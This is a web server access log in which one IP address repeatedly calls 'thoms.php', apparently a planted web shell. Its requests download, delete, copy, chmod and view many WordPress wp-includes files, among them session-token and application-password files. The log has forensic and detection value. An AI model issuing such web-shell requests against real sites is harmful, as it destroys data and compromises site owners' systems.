45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:55 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcompat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11835 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcompat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 200 12410 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:56 -0400] "GET /thoms.php?chmod=bookmark.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:56 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 200 14034 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:55 -0400] "GET /thoms.php?del=wp-diff.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:56 -0400] "GET /thoms.php?dl=session.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=session.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:56 -0400] "GET /thoms.php?dl=theme.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:56 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:56 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:56 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59200 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fembed-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fembed-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:57 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frobots-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11844 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frobots-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:57 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 200 12053 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:57 -0400] "GET /thoms.php?del=admin-bar.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:57 -0400] "GET /thoms.php?del=class-walker-comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59183 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:57 -0400] "GET /thoms.php?dl=class-wp-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:58 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Flink-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Flink-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 200 19821 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:58 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:58 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:58 -0400] "GET /thoms.php?chmod=sitemaps.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 200 12188 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:58 -0400] "GET /thoms.php?del=class-wp-exception.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:59 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:59 -0400] "GET /thoms.php?chmod=user.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:59 -0400] "GET /thoms.php?del=ai-client&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=ai-client&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:59 -0400] "GET /thoms.php?del=class-walker-category.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:59 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59030 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:59 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:59 -0400] "GET /thoms.php?dl=version.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 58797 "http://163.245.207.76:443/thoms.php?dl=version.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:59 -0400] "GET /thoms.php?dl=view-config.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 200 13083 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 200 13193 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?chmod=view-transitions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?dl=view-transitions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 200 19002 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:00 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-blogs.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-blogs.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?chmod=IXR&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 200 12750 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 200 14336 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 200 12771 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?chmod=utf8.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?chmod=ai-client&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?chmod=class-requests.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:01 -0400] "GET /thoms.php?del=version.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=version.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
